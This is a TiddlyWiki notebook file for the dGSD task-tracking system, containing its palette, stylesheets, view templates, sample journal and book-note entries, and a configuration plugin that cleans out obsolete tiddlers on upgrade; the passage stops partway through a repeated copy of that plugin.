Background: #fff
Foreground: #000
PrimaryPale: #8cf
PrimaryLight: #18f
PrimaryMid: #04b
PrimaryDark: #014
SecondaryPale: #ffc
SecondaryLight: #fe8
SecondaryMid: #db4
SecondaryDark: #841
TertiaryPale: #eee
TertiaryLight: #ccc
TertiaryMid: #999
TertiaryDark: #666
Error: #f88
<!--{{{-->
<div class='toolbar' macro='toolbar [[ToolbarCommands::EditToolbar]]'></div>
<div class='title' macro='view title'></div>
<div class='editor' macro='edit title'></div>
<div macro='annotations'></div>
<div class='editor' macro='edit text'></div>
<div class='editor' macro='edit tags'></div><div class='editorFooter'><span macro='message views.editor.tagPrompt'></span><span macro='tagChooser excludeLists'></span></div>
<!--}}}-->
To get started with this blank [[TiddlyWiki]], you'll need to modify the following tiddlers:
* [[SiteTitle]] & [[SiteSubtitle]]: The title and subtitle of the site, as shown above (after saving, they will also appear in the browser title bar)
* [[MainMenu]]: The menu (usually on the left)
* [[DefaultTiddlers]]: Contains the names of the tiddlers that you want to appear when the TiddlyWiki is opened
You'll also need to enter your username for signing your edits: <<option txtUserName>>
<<importTiddlers>>
<!--{{{-->
<link rel='alternate' type='application/rss+xml' title='RSS' href='index.xml' />
<!--}}}-->
These [[InterfaceOptions]] for customising [[TiddlyWiki]] are saved in your browser

Your username for signing your edits. Write it as a [[WikiWord]] (eg [[JoeBloggs]])

<<option txtUserName>>
<<option chkSaveBackups>> [[SaveBackups]]
<<option chkAutoSave>> [[AutoSave]]
<<option chkRegExpSearch>> [[RegExpSearch]]
<<option chkCaseSensitiveSearch>> [[CaseSensitiveSearch]]
<<option chkAnimate>> [[EnableAnimations]]

----
Also see [[AdvancedOptions]]
<!--{{{-->
<div class='header' role='banner' macro='gradient vert [[ColorPalette::PrimaryLight]] [[ColorPalette::PrimaryMid]]'>
<div class='headerShadow'>
<span class='siteTitle' refresh='content' tiddler='SiteTitle'></span>&nbsp;
<span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'></span>
</div>
<div class='headerForeground'>
<span class='siteTitle' refresh='content' tiddler='SiteTitle'></span>&nbsp;
<span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'></span>
</div>
</div>
<div id='mainMenu' role='navigation' refresh='content' tiddler='MainMenu'></div>
<div id='sidebar'>
<div id='sidebarOptions' role='navigation' refresh='content' tiddler='SideBarOptions'></div>
<div id='sidebarTabs' role='complementary' refresh='content' force='true' tiddler='SideBarTabs'></div>
</div>
<div id='displayArea' role='main'>
<div id='messageArea'></div>
<div id='tiddlerDisplay'></div>
</div>
<!--}}}-->
/*{{{*/
body {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}

a {color:[[ColorPalette::PrimaryMid]];}
a:hover {background-color:[[ColorPalette::PrimaryMid]]; color:[[ColorPalette::Background]];}
a img {border:0;}

h1,h2,h3,h4,h5,h6 {color:[[ColorPalette::SecondaryDark]]; background:transparent;}
h1 {border-bottom:2px solid [[ColorPalette::TertiaryLight]];}
h2,h3 {border-bottom:1px solid [[ColorPalette::TertiaryLight]];}

.button {color:[[ColorPalette::PrimaryDark]]; border:1px solid [[ColorPalette::Background]];}
.button:hover {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::SecondaryLight]]; border-color:[[ColorPalette::SecondaryMid]];}
.button:active {color:[[ColorPalette::Background]]; background:[[ColorPalette::SecondaryMid]]; border:1px solid [[ColorPalette::SecondaryDark]];}

.header {background:[[ColorPalette::PrimaryMid]];}
.headerShadow {color:[[ColorPalette::Foreground]];}
.headerShadow a {font-weight:normal; color:[[ColorPalette::Foreground]];}
.headerForeground {color:[[ColorPalette::Background]];}
.headerForeground a {font-weight:normal; color:[[ColorPalette::PrimaryPale]];}

.tabSelected {color:[[ColorPalette::PrimaryDark]];
	background:[[ColorPalette::TertiaryPale]];
	border-left:1px solid [[ColorPalette::TertiaryLight]];
	border-top:1px solid [[ColorPalette::TertiaryLight]];
	border-right:1px solid [[ColorPalette::TertiaryLight]];
}
.tabUnselected {color:[[ColorPalette::Background]]; background:[[ColorPalette::TertiaryMid]];}
.tabContents {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::TertiaryPale]]; border:1px solid [[ColorPalette::TertiaryLight]];}
.tabContents .button {border:0;}

#sidebar {}
#sidebarOptions input {border:1px solid [[ColorPalette::PrimaryMid]];}
#sidebarOptions .sliderPanel {background:[[ColorPalette::PrimaryPale]];}
#sidebarOptions .sliderPanel a {border:none;color:[[ColorPalette::PrimaryMid]];}
#sidebarOptions .sliderPanel a:hover {color:[[ColorPalette::Background]]; background:[[ColorPalette::PrimaryMid]];}
#sidebarOptions .sliderPanel a:active {color:[[ColorPalette::PrimaryMid]]; background:[[ColorPalette::Background]];}

.wizard {background:[[ColorPalette::PrimaryPale]]; border:1px solid [[ColorPalette::PrimaryMid]];}
.wizard h1 {color:[[ColorPalette::PrimaryDark]]; border:none;}
.wizard h2 {color:[[ColorPalette::Foreground]]; border:none;}
.wizardStep {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];
	border:1px solid [[ColorPalette::PrimaryMid]];}
.wizardStep.wizardStepDone {background:[[ColorPalette::TertiaryLight]];}
.wizardFooter {background:[[ColorPalette::PrimaryPale]];}
.wizardFooter .status {background:[[ColorPalette::PrimaryDark]]; color:[[ColorPalette::Background]];}
.wizard .button {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::SecondaryLight]]; border: 1px solid;
	border-color:[[ColorPalette::SecondaryPale]] [[ColorPalette::SecondaryDark]] [[ColorPalette::SecondaryDark]] [[ColorPalette::SecondaryPale]];}
.wizard .button:hover {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::Background]];}
.wizard .button:active {color:[[ColorPalette::Background]]; background:[[ColorPalette::Foreground]]; border: 1px solid;
	border-color:[[ColorPalette::PrimaryDark]] [[ColorPalette::PrimaryPale]] [[ColorPalette::PrimaryPale]] [[ColorPalette::PrimaryDark]];}

.wizard .notChanged {background:transparent;}
.wizard .changedLocally {background:#80ff80;}
.wizard .changedServer {background:#8080ff;}
.wizard .changedBoth {background:#ff8080;}
.wizard .notFound {background:#ffff80;}
.wizard .putToServer {background:#ff80ff;}
.wizard .gotFromServer {background:#80ffff;}

#messageArea {border:1px solid [[ColorPalette::SecondaryMid]]; background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]];}
#messageArea .button {color:[[ColorPalette::PrimaryMid]]; background:[[ColorPalette::SecondaryPale]]; border:none;}

.popupTiddler {background:[[ColorPalette::TertiaryPale]]; border:2px solid [[ColorPalette::TertiaryMid]];}

.popup {background:[[ColorPalette::TertiaryPale]]; color:[[ColorPalette::TertiaryDark]]; border-left:1px solid [[ColorPalette::TertiaryMid]]; border-top:1px solid [[ColorPalette::TertiaryMid]]; border-right:2px solid [[ColorPalette::TertiaryDark]]; border-bottom:2px solid [[ColorPalette::TertiaryDark]];}
.popup hr {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::PrimaryDark]]; border-bottom:1px;}
.popup li.disabled {color:[[ColorPalette::TertiaryMid]];}
.popup li a, .popup li a:visited {color:[[ColorPalette::Foreground]]; border: none;}
.popup li a:hover {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; border: none;}
.popup li a:active {background:[[ColorPalette::SecondaryPale]]; color:[[ColorPalette::Foreground]]; border: none;}
.popupHighlight {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}
.listBreak div {border-bottom:1px solid [[ColorPalette::TertiaryDark]];}

.tiddler .defaultCommand {font-weight:bold;}

.shadow .title {color:[[ColorPalette::TertiaryDark]];}

.title {color:[[ColorPalette::SecondaryDark]];}
.subtitle {color:[[ColorPalette::TertiaryDark]];}

.toolbar {color:[[ColorPalette::PrimaryMid]];}
.toolbar a {color:[[ColorPalette::TertiaryLight]];}
.selected .toolbar a {color:[[ColorPalette::TertiaryMid]];}
.selected .toolbar a:hover {color:[[ColorPalette::Foreground]];}

.tagging, .tagged {border:1px solid [[ColorPalette::TertiaryPale]]; background-color:[[ColorPalette::TertiaryPale]];}
.selected .tagging, .selected .tagged {background-color:[[ColorPalette::TertiaryLight]]; border:1px solid [[ColorPalette::TertiaryMid]];}
.tagging .listTitle, .tagged .listTitle {color:[[ColorPalette::PrimaryDark]];}
.tagging .button, .tagged .button {border:none;}

.footer {color:[[ColorPalette::TertiaryLight]];}
.selected .footer {color:[[ColorPalette::TertiaryMid]];}

.error, .errorButton {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::Error]];}
.warning {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::SecondaryPale]];}
.lowlight {background:[[ColorPalette::TertiaryLight]];}

.zoomer {background:none; color:[[ColorPalette::TertiaryMid]]; border:3px solid [[ColorPalette::TertiaryMid]];}

.imageLink, #displayArea .imageLink {background:transparent;}

.annotation {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; border:2px solid [[ColorPalette::SecondaryMid]];}

.viewer .listTitle {list-style-type:none; margin-left:-2em;}
.viewer .button {border:1px solid [[ColorPalette::SecondaryMid]];}
.viewer blockquote {border-left:3px solid [[ColorPalette::TertiaryDark]];}

.viewer table, table.twtable {border:2px solid [[ColorPalette::TertiaryDark]];}
.viewer th, .viewer thead td, .twtable th, .twtable thead td {background:[[ColorPalette::SecondaryMid]]; border:1px solid [[ColorPalette::TertiaryDark]]; color:[[ColorPalette::Background]];}
.viewer td, .viewer tr, .twtable td, .twtable tr {border:1px solid [[ColorPalette::TertiaryDark]];}

.viewer pre {border:1px solid [[ColorPalette::SecondaryLight]]; background:[[ColorPalette::SecondaryPale]];}
.viewer code {color:[[ColorPalette::SecondaryDark]];}
.viewer hr {border:0; border-top:dashed 1px [[ColorPalette::TertiaryDark]]; color:[[ColorPalette::TertiaryDark]];}

.highlight, .marked {background:[[ColorPalette::SecondaryLight]];}

.editor input {border:1px solid [[ColorPalette::PrimaryMid]];}
.editor textarea {border:1px solid [[ColorPalette::PrimaryMid]]; width:100%;}
.editorFooter {color:[[ColorPalette::TertiaryMid]];}
.readOnly {background:[[ColorPalette::TertiaryPale]];}

#backstageArea {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::TertiaryMid]];}
#backstageArea a {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::Background]]; border:none;}
#backstageArea a:hover {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; }
#backstageArea a.backstageSelTab {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}
#backstageButton a {background:none; color:[[ColorPalette::Background]]; border:none;}
#backstageButton a:hover {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::Background]]; border:none;}
#backstagePanel {background:[[ColorPalette::Background]]; border-color: [[ColorPalette::Background]] [[ColorPalette::TertiaryDark]] [[ColorPalette::TertiaryDark]] [[ColorPalette::TertiaryDark]];}
.backstagePanelFooter .button {border:none; color:[[ColorPalette::Background]];}
.backstagePanelFooter .button:hover {color:[[ColorPalette::Foreground]];}
#backstageCloak {background:[[ColorPalette::Foreground]]; opacity:0.6; filter:alpha(opacity=60);}
/*}}}*/
/*{{{*/
* html .tiddler {height:1%;}

body {font-size:.75em; font-family:arial,helvetica; margin:0; padding:0;}

h1,h2,h3,h4,h5,h6 {font-weight:bold; text-decoration:none;}
h1,h2,h3 {padding-bottom:1px; margin-top:1.2em;margin-bottom:0.3em;}
h4,h5,h6 {margin-top:1em;}
h1 {font-size:1.35em;}
h2 {font-size:1.25em;}
h3 {font-size:1.1em;}
h4 {font-size:1em;}
h5 {font-size:.9em;}

hr {height:1px;}

a {text-decoration:none;}

dt {font-weight:bold;}

ol {list-style-type:decimal;}
ol ol {list-style-type:lower-alpha;}
ol ol ol {list-style-type:lower-roman;}
ol ol ol ol {list-style-type:decimal;}
ol ol ol ol ol {list-style-type:lower-alpha;}
ol ol ol ol ol ol {list-style-type:lower-roman;}
ol ol ol ol ol ol ol {list-style-type:decimal;}

.txtOptionInput {width:11em;}

#contentWrapper .chkOptionInput {border:0;}

.externalLink {text-decoration:underline;}

.indent {margin-left:3em;}
.outdent {margin-left:3em; text-indent:-3em;}
code.escaped {white-space:nowrap;}

.tiddlyLinkExisting {font-weight:bold;}
.tiddlyLinkNonExisting {font-style:italic;}

/* the 'a' is required for IE, otherwise it renders the whole tiddler in bold */
a.tiddlyLinkNonExisting.shadow {font-weight:bold;}

#mainMenu .tiddlyLinkExisting,
	#mainMenu .tiddlyLinkNonExisting,
	#sidebarTabs .tiddlyLinkNonExisting {font-weight:normal; font-style:normal;}
#sidebarTabs .tiddlyLinkExisting {font-weight:bold; font-style:normal;}

.header {position:relative;}
.header a:hover {background:transparent;}
.headerShadow {position:relative; padding:4.5em 0 1em 1em; left:-1px; top:-1px;}
.headerForeground {position:absolute; padding:4.5em 0 1em 1em; left:0; top:0;}

.siteTitle {font-size:3em;}
.siteSubtitle {font-size:1.2em;}

#mainMenu {position:absolute; left:0; width:10em; text-align:right; line-height:1.6em; padding:1.5em 0.5em 0.5em 0.5em; font-size:1.1em;}

#sidebar {position:absolute; right:3px; width:16em; font-size:.9em;}
#sidebarOptions {padding-top:0.3em;}
#sidebarOptions a {margin:0 0.2em; padding:0.2em 0.3em; display:block;}
#sidebarOptions input {margin:0.4em 0.5em;}
#sidebarOptions .sliderPanel {margin-left:1em; padding:0.5em; font-size:.85em;}
#sidebarOptions .sliderPanel a {font-weight:bold; display:inline; padding:0;}
#sidebarOptions .sliderPanel input {margin:0 0 0.3em 0;}
#sidebarTabs .tabContents {width:15em; overflow:hidden;}

.wizard {padding:0.1em 1em 0 2em;}
.wizard h1 {font-size:2em; font-weight:bold; background:none; padding:0; margin:0.4em 0 0.2em;}
.wizard h2 {font-size:1.2em; font-weight:bold; background:none; padding:0; margin:0.4em 0 0.2em;}
.wizardStep {padding:1em 1em 1em 1em;}
.wizard .button {margin:0.5em 0 0; font-size:1.2em;}
.wizardFooter {padding:0.8em 0.4em 0.8em 0;}
.wizardFooter .status {padding:0 0.4em; margin-left:1em;}
.wizard .button {padding:0.1em 0.2em;}

#messageArea {position:fixed; top:2em; right:0; margin:0.5em; padding:0.5em; z-index:2000; _position:absolute;}
.messageToolbar {display:block; text-align:right; padding:0.2em;}
#messageArea a {text-decoration:underline;}

.tiddlerPopupButton {padding:0.2em;}
.popupTiddler {position: absolute; z-index:300; padding:1em; margin:0;}

.popup {position:absolute; z-index:300; font-size:.9em; padding:0; list-style:none; margin:0;}
.popup .popupMessage {padding:0.4em;}
.popup hr {display:block; height:1px; width:auto; padding:0; margin:0.2em 0;}
.popup li.disabled {padding:0.4em;}
.popup li a {display:block; padding:0.4em; font-weight:normal; cursor:pointer;}
.listBreak {font-size:1px; line-height:1px;}
.listBreak div {margin:2px 0;}

.tabset {padding:1em 0 0 0.5em;}
.tab {margin:0 0 0 0.25em; padding:2px;}
.tabContents {padding:0.5em;}
.tabContents ul, .tabContents ol {margin:0; padding:0;}
.txtMainTab .tabContents li {list-style:none;}
.tabContents li.listLink { margin-left:.75em;}

#contentWrapper {display:block;}
#splashScreen {display:none;}

#displayArea {margin:1em 17em 0 14em;}

.toolbar {text-align:right; font-size:.9em;}

.tiddler {padding:1em 1em 0;}

.missing .viewer,.missing .title {font-style:italic;}

.title {font-size:1.6em; font-weight:bold;}

.missing .subtitle {display:none;}
.subtitle {font-size:1.1em;}

.tiddler .button {padding:0.2em 0.4em;}

.tagging {margin:0.5em 0.5em 0.5em 0; float:left; display:none;}
.isTag .tagging {display:block;}
.tagged {margin:0.5em; float:right;}
.tagging, .tagged {font-size:0.9em; padding:0.25em;}
.tagging ul, .tagged ul {list-style:none; margin:0.25em; padding:0;}
.tagClear {clear:both;}

.footer {font-size:.9em;}
.footer li {display:inline;}

.annotation {padding:0.5em; margin:0.5em;}

* html .viewer pre {width:99%; padding:0 0 1em 0;}
.viewer {line-height:1.4em; padding-top:0.5em;}
.viewer .button {margin:0 0.25em; padding:0 0.25em;}
.viewer blockquote {line-height:1.5em; padding-left:0.8em;margin-left:2.5em;}
.viewer ul, .viewer ol {margin-left:0.5em; padding-left:1.5em;}

.viewer table, table.twtable {border-collapse:collapse; margin:0.8em 1.0em;}
.viewer th, .viewer td, .viewer tr,.viewer caption,.twtable th, .twtable td, .twtable tr,.twtable caption {padding:3px;}
table.listView {font-size:0.85em; margin:0.8em 1.0em;}
table.listView th, table.listView td, table.listView tr {padding:0 3px 0 3px;}

.viewer pre {padding:0.5em; margin-left:0.5em; font-size:1.2em; line-height:1.4em; overflow:auto;}
.viewer code {font-size:1.2em; line-height:1.4em;}

.editor {font-size:1.1em;}
.editor input, .editor textarea {display:block; width:100%; font:inherit;}
.editorFooter {padding:0.25em 0; font-size:.9em;}
.editorFooter .button {padding-top:0; padding-bottom:0;}

.fieldsetFix {border:0; padding:0; margin:1px 0px;}

.zoomer {font-size:1.1em; position:absolute; overflow:hidden;}
.zoomer div {padding:1em;}

* html #backstage {width:99%;}
* html #backstageArea {width:99%;}
#backstageArea {display:none; position:relative; overflow: hidden; z-index:150; padding:0.3em 0.5em;}
#backstageToolbar {position:relative;}
#backstageArea a {font-weight:bold; margin-left:0.5em; padding:0.3em 0.5em;}
#backstageButton {display:none; position:absolute; z-index:175; top:0; right:0;}
#backstageButton a {padding:0.1em 0.4em; margin:0.1em;}
#backstage {position:relative; width:100%; z-index:50;}
#backstagePanel {display:none; z-index:100; position:absolute; width:90%; margin-left:3em; padding:1em;}
.backstagePanelFooter {padding-top:0.2em; float:right;}
.backstagePanelFooter a {padding:0.2em 0.4em;}
#backstageCloak {display:none; z-index:20; position:absolute; width:100%; height:100px;}

.whenBackstage {display:none;}
.backstageVisible .whenBackstage {display:block;}
/*}}}*/
/***
StyleSheet for use when a translation requires any css style changes.
This StyleSheet can be used directly by languages such as Chinese, Japanese and Korean which need larger font sizes.
***/
/*{{{*/
body {font-size:0.8em;}
#sidebarOptions {font-size:1.05em;}
#sidebarOptions a {font-style:normal;}
#sidebarOptions .sliderPanel {font-size:0.95em;}
.subtitle {font-size:0.8em;}
.viewer table.listView {font-size:0.95em;}
/*}}}*/
/*{{{*/
@media print {
#mainMenu, #sidebar, #messageArea, .toolbar, #backstageButton, #backstageArea {display: none !important;}
#displayArea {margin: 1em 1em 0em;}
noscript {display:none;} /* Fixes a feature in Firefox 1.5.0.2 where print preview displays the noscript content */
}
/*}}}*/
<!--{{{-->
<div class='toolbar' role='navigation' macro='toolbar [[ToolbarCommands::ViewToolbar]]'></div>
<div class='title' macro='view title'></div>
<div class='subtitle'><span macro='view modifier link'></span>, <span macro='view modified date'></span> (<span macro='message views.wikified.createdPrompt'></span> <span macro='view created date'></span>)</div>
<div class='tagging' macro='tagging'></div>
<div class='tagged' macro='tags'></div>
<div class='viewer' macro='view text wikified'></div>
<div class='tagClear'></div>
<!--}}}-->
<<mgtdList startTag:Project title:'Projects with no area' tags:'!Complete' view:Project mode:global
	group:ProjectStatus
	gView:bold
	where:tiddler.hasNoParent('Area')
	>>
<<mgtdList startTag:Action title:'You should give these actions a context' tags:'!Done' view:DoneAction mode:global
	where:tiddler.hasNoParent('Context')
	>>
<<mgtdList startTag:Action title:'Actions with no project' tags:'!Done' view:DoneAction mode:global
	where:tiddler.hasNoParent('Project')
	>>

order:1
button:*
buttonLong:*
order:1
button:>>
buttonLong:10%
order:10
button:>>
buttonLong:100%
order:2
button:>>
buttonLong:20%

This is a very interesting journal entry. I bet you want to read it, don't you! Well, if you had a copy of this, you could.
Wow, I wrote a journal entry! My grade 3 teacher would be so proud of me... I never could think of what to say, back in grade school! Come to think of it, that's why I don't have a blog now! If I have something important enough to say, believe me whoever needs to hear it will hear it!
I wrote something in my journal today, but you can't read it. It's private.
Test Status Update for [[Example Project]] - These are my notes.
This shows the new layout using the NestedSlidersPlugin.

Note, I've still got to add to the code to auto-select whether to use this layout or not, based on whether the plugin is available. Not sure how to do that yet, so if anyone can help, please let me know in the GTD-TiddlyWiki Google Group!
Left a message to say that [[Joe Blow]]'s stapler was missing, and he had threatened to blow up the building if it's not returned. Probably an HR issue.
Called John to discuss his late TPS reports. He said the printer was out of paper and was flashing a "PC Load Letter" error. Didn't know what he meant.
...or click on it's title to open it as a separate Tiddler!
order:3
button:*
buttonLong:***
order:3
button:>>
buttonLong:30%
{{cols2{

{{col{

}}}

{{col{

}}}

}}}

order:4
button:*
buttonLong:****
order:4
button:>>
buttonLong:40%
order:5
button:*
buttonLong:*****
order:5
button:>>
buttonLong:50%
order:6
button:>>
buttonLong:60%
order:7
button:>>
buttonLong:70%
order:8
button:>>
buttonLong:80%
order:9
button:>>
buttonLong:90%
People I need to call whenever I have a moment - regardless of what other context I'm in.

<<deleteAllTagged>>
Documents I need to write, send, get, or read...

<<deleteAllTagged>>
Emails to write or return...

<<deleteAllTagged>>
Errands to run...

<<deleteAllTagged>>
Things to do around the house...

<<deleteAllTagged>>
Meetings I need to make or attend...

<<deleteAllTagged>>
when I'm sitting down for more than 10 minutes and can catch up on some reading...

<<deleteAllTagged>>
For these, I need to sit and think... Maybe doodle...

<<deleteAllTagged>>
Things to do or look up on the web...

<<deleteAllTagged>>
Billing, Timesheets, and other admin stuff I need to take care of...

<<deleteAllTagged>>

This book isn't really good. I can't remember what it's about, so I entered some notes here to remind me. They'll show up in the little notepad icon beside the book's title, in my lists.


!!Chapter One:
This is a note on a book I'm reading. I can keep track of what chapter and page I was on.

''And of course'' //format it nicely// like any Tiddler.

<<<
This could be an excerpt from the book that I really liked. 
It could be indented like a blockquote for emphasis.
Or something. Whatever.
<<<

* Some points about this chapter:
# It sucked
## Well, not really
# It was badly written
/***
|Name:|dGSDConfPlugin (First Half)|
|Description:|Core dGSD settings and upgrade routines|
|Version:|1.0|
|Date:|26-Jan-2013|
|Source:|http://thinkcreatesolve.biz/dGSD.html|
|Author:|David Szego <david@szego.me>|
|License|http://mptw.tiddlyspot.com/#TheBSDLicense|
!Revisions:
* ''1.0'' (Jan 26 2013):
** Created to make upgrades easier, and remove reliance on Tiddlers from mGSD / MonkeyGTD / MPTW etc., allowing a more "generic" install into base TW's
//See [[http://www.tiddlywiki.org/wiki/Configuration_Options]] for other options you can set. In some cases where there are clashes with other plugins.//
!!!!//Note:// This is called AA-dGSDConfPlugin so it will run first, and do the upgrades if necessary. There is also a zz-dGSDConfPlugin which runs last and sets some parameters.
***/

/***
!!!Before we do anything else - check for upgrades: Remove, Disable, or Trash Tiddlers that are no longer used (as needed)
***/
//{{{
var updated = false;
if (store.tiddlerExists('zz-dGSDUserConfigPlugin')) {
  store.removeTiddler('zz-dGSDUserConfigPlugin');
  updated = true;
}
if (store.tiddlerExists('MgtdConf')) {
  store.removeTiddler('MgtdConf');
  updated = true;
}
if (store.tiddlerExists('TiddlerViewMethods')) {
  store.removeTiddler('TiddlerViewMethods');
  updated = true;
}
if (store.tiddlerExists('MgtdUserConf')) {
  store.removeTiddler('MgtdUserConf');
  updated = true;
}
if (store.tiddlerExists('MgtdSettings')) {
  store.removeTiddler('MgtdSettings');
  updated = true;
}
if (store.tiddlerExists('MptwConfigPlugin')) {
  store.removeTiddler('MptwConfigPlugin');
  updated = true;
}
if (store.tiddlerExists('MptwBlack')) {
  store.removeTiddler('MptwBlack');
  updated = true;
}
if (store.tiddlerExists('MptwRoundTheme')) {
  store.removeTiddler('MptwRoundTheme');
  updated = true;
}
if (store.tiddlerExists('MonkeyGTDNarrow')) {
  store.removeTiddler('MonkeyGTDNarrow');
  updated = true;
}
if (store.tiddlerExists('MonkeyGTDPrint3x5')) {
  store.removeTiddler('MonkeyGTDPrint3x5');
  updated = true;
}
if (store.tiddlerExists('MptwSmoke')) {
  store.removeTiddler('MptwSmoke');
  updated = true;
}
if (store.tiddlerExists('MptwStandardTheme')) {
  store.removeTiddler('MptwStandardTheme');
  updated = true;
}
if (store.tiddlerExists('MptwTheme')) {
  store.removeTiddler('MptwTheme');
  updated = true;
}
if (store.tiddlerExists('MptwTrimTheme')) {
  store.removeTiddler('MptwTrimTheme');
  updated = true;
}
if (store.tiddlerExists('MptwUserConfigPlugin')) {
  store.removeTiddler('MptwUserConfigPlugin');
  updated = true;
}
if (store.tiddlerExists('MonkeyGTDTheme')) {
  store.removeTiddler('MonkeyGTDTheme');
  updated = true;
}
if (updated) {
  saveChanges(true);
  displayMessage("dGSD Updated\n\n\nYour TiddlyWiki file has been updated.\n\nPlease reload.\n\nYou may see some errors until you do.\n\n\n");
  story.switchTheme('dGSDTheme');
  saveOptionCookie("txtTheme"); 
}
//}}}
//{{{

config.options.txtTheme = 'dGSDTheme';
story.switchTheme(config.options.txtTheme);

if (!config.dGSD) config.dGSD = {};
if (!config.mGTD) config.mGTD = {};

config.dGSD.specialTags = [
	"Action",
	"Project",
	"Area",
	"Realm",
	"Context",
	"View",
	"Tickler",
	"Reference",
	"Contact",
	"BookNote",
	"Book",
	"Author",
	"Rating",
	"Genre"
];
config.mGTD.specialTags = config.dGSD.specialTags;

config.dGSD.tagsToIndex = [
                "Realm",
                "Area",
                "Context",
		"BookStatus",
		"Genre",
		"MeetingStatus",
		"Contact",
                "Project",
                "Action",
                "Priority",
		"ActionStatus",
		"TicklerStatus",
		"ProjectStatus",
		"GTDComponent",
        	"TicklerRepeatType",
		"Rating",
		"Progress",
                "TeamRole"
];
config.mGTD.tagsToIndex = config.dGSD.tagsToIndex;

config.dGSDVersion = "1.5";
config.macros.dGSDVersion={handler:function(place){wikify(config.dGSDVersion,place);}};

config.toggleTagAlwaysTouchModDate = true; // see ToggleTagPlugin

if (config.shadowTiddlers.SiteTitle == "" || config.shadowTiddlers.SiteTitle == "My TiddlyWiki") config.shadowTiddlers.SiteTitle = 'dGSD ' + config.dGSDVersion;
if (config.shadowTiddlers.SiteSubTitle == "" || config.shadowTiddlers.SiteSubTitle == "a reusable non-linear personal web notebook") config.shadowTiddlers.SiteSubtitle = "//Task & Delegation Tracking, Meetings & Agenda Items, Project Roles,<br>Progress & Status Updates, Tickler Calendar, Book Notes & Library, and More!//";

config.mGTD.getOptChk = function(option) { return store.fetchTiddler('dGSDSettings').tags.contains(option); }
config.dGSD.getOptChk = config.mGTD.getOptChk;
config.mGTD.getOptTxt = function(fieldName) { return store.fetchTiddler('dGSDSettings').fields[fieldName.toLowerCase()]; }
config.dGSD.getOptTxt = config.mGTD.getOptTxt;
config.mGTD.setOptTxt = function(fieldName,fieldValue) { store.fetchTiddler('dGSDSettings').fields[fieldName.toLowerCase()] = fieldValue; }
config.dGSD.setOptTxt = config.mGTD.setOptTxt ;

// from tiddlytools.com/#CoreTweaks, thanks Eric
window.coreWikify = wikify;
window.wikify = function(source,output,highlightRegExp,tiddler)
{
	if (source) arguments[0]=source.replace(/\\\\\n/mg,"<br>");
	coreWikify.apply(this,arguments);
}

var originalReadOnly = readOnly;
var originalShowBackstage = showBackstage;

config.options.chkHttpReadOnly = false;  // means web visitors can experiment with your site by clicking edit
readOnly = false;                        // needed because the above doesn't work any more post 2.1 (??)
showBackstage = true;

config.options.chkInsertTabs = true;     // tab inserts a tab when editing a tiddler
config.views.wikified.defaultText = "";  // don't need message when a tiddler doesn't exist
config.views.editor.defaultText = "";    // don't need message when creating a new tiddler

//Uncomment and set these if you'd like to force these parameters, where you don't already have a cookie set for it (i.e. new browser/system)
//config.options.chkSaveBackups = true;         // do save backups
//config.options.txtBackupFolder = 'twbackup';  // put backups in a backups folder
//config.options.chkAutoSave = (window.location.protocol == "file:"); // do autosave if we're in local file

// add select theme and palette controls in default OptionsPanel
//config.shadowTiddlers.OptionsPanel = config.shadowTiddlers.OptionsPanel.replace(/(\n\-\-\-\-\nAlso see \[\[AdvancedOptions\]\])/, //"{{select{<<selectTheme>>\n<<selectPalette>>}}}$1");

// these are used by ViewTemplate
config.mptwJournalFormat = 'YYYY.0MM.0DD_0hh:0mm';
config.mptwDateFormat = 'pppp (DD/MM/YY)'

config.messages.tiddlerLinkTooltip='%0 - %4 %5';
config.newMeansNewForJournalsToo = false;

// Fake a forceReflow() function for compatibility with TW2.6.6 Core
merge(config.macros,{

	forceReflow: {
          handler: function(place,macroName,params,wikifier,paramString,tiddler) {
            refreshDisplay();
            return;
          },
        }
});

merge(config.messages.messageClose,{
	text: "[x]",
	tooltip: "Close this message area"
});

//}}}




/***
|Name:|dGSDConfigPlugin (First Half)|
|Description:|Core dGSD settings and upgrade routines|
|Version:|1.0d|
|Date:|30-Apr-2014|
|Source:|http://thinkcreatesolve.biz/dGSD.html|
|Author:|David Szego <david@szego.me>|
|License|http://mptw.tiddlyspot.com/#TheBSDLicense|
!Revisions:
* ''1.0/a/b/c/d'' (Feb 6 2013):
** Created to make upgrades easier, and remove reliance on Tiddlers from mGSD / MonkeyGTD / MPTW etc., allowing a more "generic" install into base TW's
** Added: Conversation Logs
//See [[http://www.tiddlywiki.org/wiki/Configuration_Options]] for other options you can set. In some cases where there are clashes with other plugins.//
!!!!//Note:// This is called AA-dGSDConfPlugin so it will run first, and do the upgrades if necessary.
***/

/***
!!!Before we do anything else - check for upgrades: Remove, Disable, or Trash Tiddlers that are no longer used (as needed)
***/
//{{{
var updated = false;
if (store.tiddlerExists('zz-dGSDUserConfigPlugin')) {
  store.removeTiddler('zz-dGSDUserConfigPlugin');
  updated = true;
}
if (store.tiddlerExists('MgtdConf')) {
  store.removeTiddler('MgtdConf');
  updated = true;
}
if (store.tiddlerExists('TiddlerViewMethods')) {
  store.removeTiddler('TiddlerViewMethods');
  updated = true;
}
if (store.tiddlerExists('MgtdUserConf')) {
  store.removeTiddler('MgtdUserConf');
  updated = true;
}
if (store.tiddlerExists('MgtdSettings')) {
  store.removeTiddler('MgtdSettings');
  updated = true;
}
if (store.tiddlerExists('MptwConfigPlugin')) {
